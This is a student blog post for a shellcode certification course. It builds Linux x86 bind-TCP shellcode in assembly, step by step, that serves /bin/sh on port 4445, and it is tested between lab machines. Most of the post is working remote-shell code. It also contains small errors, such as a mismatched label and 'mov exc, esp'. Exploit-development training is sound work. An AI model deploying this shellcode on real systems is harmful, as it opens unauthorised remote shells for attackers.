This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git
SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode
Β Β - Binds to a port
Β Β - Execs Shell on incoming connection
Β Β - Port number should be easily configurable
~~~~~~~~~//*****//~~~~~~~~~
Creating a BIND_TCP shell can be broken down into 4 functions.
0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve
... let us begin
0x1 - socket
First, we create a socket. socket() requires 3 arguments:Β domain, type, protocolΒ as seen below.
domain = AF_INET or 0x2
type = SOCK_STREAM or 0x1
protocol = TCP or 0x6
We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.
We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)
Β Β Β Β Β Β Β Β push 0x6
Β Β Β Β Β Β Β Β push 0x1
Β Β Β Β Β Β Β Β push 0x2
Once the socket has been created, we then invoke the socketcall() syscall
Β Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β Β mov al, 0x66Β Β Β Β Β Β Β ;syscall 102 (x66) for socketcall
Β Β Β Β Β Β Β xor ebx, ebxΒ Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β Β mov bl, 0x1Β Β Β Β Β Β Β ;net.h SYS_SOCKET 1 (0x1)
Β Β Β Β Β Β Β xor ecx, ecxΒ Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β mov ecx, espΒ Β Β Β Β Β Β ;arg 2, esp address to ecx
Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β ;interrupt/excute
Β Β Β Β Β Β mov edi, eaxΒ Β Β Β Β Β Β ;sockfd, this will be referenced throughout theΒ
0x2 -bind
One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if aΒ call instruction is used, the next instruction is automatically loaded into the stack.
Β Β Β Β Β Β bind:
Β Β Β Β Β Β Β Β jmp short port_to_blindΒ Β Β Β Β
Β Β Β Β Β call_bind:
Β Β Β Β Β Β Β Β pop esiΒ Β Β Β Β Β Β Β Β ; pops ESP addr
Β Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β Β push eaxΒ Β Β Β Β Β Β Β ;push eax NULL value to the stack
Β Β Β Β Β Β Β push word[esi]Β Β Β ;push actual port number to the stac, word=2 bytes
Β Β Β Β Β Β Β mov al, 0x2Β Β Β Β Β ;AF_INET IPv4
Β Β Β Β Β Β Β push ax
Β Β Β Β Β Β Β mov edx, espΒ Β Β Β ;store stack addr (struct sockaddr)
Β Β Β Β Β Β Β push 0x10Β Β Β Β Β Β ;store length addr on stack
Β Β Β Β Β Β Β push edxΒ Β Β Β Β Β Β ;push strct sockaddr to the stack
Β Β Β Β Β Β Β push ediΒ Β Β Β Β Β Β Β ;sockfd from the eax _start
Β Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β Β mov al, 0x66Β Β Β Β ;syscall 102 for socketcall
Β Β Β Β Β Β Β mov bl, 0x02Β Β Β Β ;net.h SYS_BIND 2 (0x02)
Β Β Β Β Β Β Β mov ecx, espΒ Β Β Β ;arg for SYS_BIND
Β Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β ;interrupt/execute
Β Β Β Β Β port_to_bind:
Β Β Β Β Β Β Β call call_bind
Β Β Β Β Β Β Β port_number dw 0x5d11Β ;port 4445 (0x115d)
Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β ;this gets pushed to the stack after the call instruction
0x3 - listen
The listen()Β syscall is pretty straightforward.
Β Β Β Β Β Β Β push 0x1Β Β Β Β Β Β Β Β Β Β Β Β Β ; int backlog
Β Β Β Β Β Β push ediΒ Β Β Β Β Β Β Β Β Β Β Β Β ; sockfd from eax _start
Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β mov al, 0x66Β Β Β Β Β Β Β Β Β Β ;syscall 102 for socketcal
Β Β Β Β Β Β xor ebx, ebxΒ Β Β Β Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β mov bl, 0x4Β Β Β Β Β Β Β Β Β Β Β ;net.h SYS_LISTEN 4
Β Β Β Β Β xor ecx, ecxΒ Β Β Β Β Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β mov ecx, espΒ Β Β Β Β Β Β Β Β Β ;arg for SYS_LISTEN
Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β Β Β Β Β ;interrupt/execute
0x4 - accept
Likewise, accept() is pretty straight forward.
Β Β Β Β Β Β Β push eaxΒ Β Β Β Β Β Β Β Β Β Β Β ;push NULL value to addrlen
Β Β Β Β Β Β Β xor ebx, ebxΒ Β Β Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β push ebxΒ Β Β Β Β Β Β Β Β Β Β Β ;push NULL value to addr
Β Β Β Β Β Β push ediΒ Β Β Β Β Β Β Β Β Β Β Β ;sockfd from eax _start
Β Β Β Β Β Β mov al, 0x66Β Β Β Β Β Β Β Β Β ;syscall 102 for socketcall
Β Β Β Β Β Β mov bl, 0x5Β Β Β Β Β Β Β Β Β Β ;net.h SYS_ACCEPT 5
Β Β Β Β Β Β xor ecx, ecxΒ Β Β Β Β Β Β Β Β ;remove x00/NULL byte
Β Β Β Β Β Β mov ecx, espΒ Β Β Β Β Β Β Β Β ;arg for SYS_ACCEPT
Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β Β Β Β ;interrupt/execute
0x4a - change_fd
This is all the dup2() functions which ensure file /bin/sh goes through the socket connection
Β Β Β Β
Β Β Β Β Β Β mov ebx, eaxΒ Β Β Β Β Β Β Β Β ;moves fd from accept to ebx
Β Β Β Β Β Β xor ecx, ecxΒ Β Β Β Β Β Β Β Β Β ;removes 0x00/NULL byte, 0 (std in)
Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β Β Β Β Β Β ;removes 0x00/NULL byte
Β Β Β Β Β Β mov al, 0x3fΒ Β Β Β Β Β Β Β Β ;syscall 63 for dup2
Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β Β Β Β ;interrupt/execute
Β Β Β Β Β Β mov al,0x3fΒ Β Β Β Β Β Β Β Β Β ;syscall 63 for dup2
Β Β Β Β Β Β inc ecxΒ Β Β Β Β Β Β Β Β Β Β Β Β Β ;+1 to ecx, 1 (std out)
Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β Β Β Β ;interrupt/execute
Β Β Β Β Β Β mov al, 0x3fΒ Β Β Β Β Β Β Β Β ;syscall 63 for dup2
Β Β Β Β Β Β inc ecxΒ Β Β Β Β Β Β Β Β Β Β Β Β Β ;+1 to ecx, 2 (std error)
Β Β Β Β Β Β int 0x80Β Β Β Β Β Β Β Β Β Β Β Β Β ;interrupt/execute
0x5 - execve
At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.
The following instructions are taken directly from the execve module of the SLAE course.
Β Β Β Β Β Β Β xor eax, eaxΒ Β Β Β Β Β Β Β Β ;removes x00/NULL byte
Β Β Β Β Β Β Β push eaxΒ Β Β Β Β Β Β Β Β Β Β ;push first null dword
Β Β Β Β Β Β Β push 0x68732f2fΒ Β Β Β Β ;hs//Β
Β Β Β Β Β Β Β push 0x6e69622fΒ Β Β Β Β ;nib/
Β Β Β Β Β Β Β mov ebx, espΒ Β Β Β Β Β Β ;save stack pointer in ebx
Β Β Β Β Β Β Β push eaxΒ Β Β Β Β Β Β Β Β Β Β Β ; push null byte as 'null byte terminator'
Β Β Β Β Β Β Β mov edx, espΒ Β Β Β Β Β Β Β ;moves address of 0x00hs//nib/ into ecx
Β Β Β Β Β Β Β push ebx
Β Β Β Β Β Β Β mov exc, esp
Β Β Β Β Β Β Β mov al, 0xbΒ Β Β Β Β Β Β Β Β ; syscall 11 for execve
Β Β Β Β Β Β Β int 0x80
And we are done!
Testing our bind shell.
We compile nasm file and execute it.Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.
BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129
We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:
Success..we can see the connection established.
Finally, we use objdumpΒ to obtain the shellcode from our executable
***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.
Here's an example of using the shellcode with a .c program
We compile shellcode.c, execute it and connect to 4445 from out BT machine.
SUCCESS!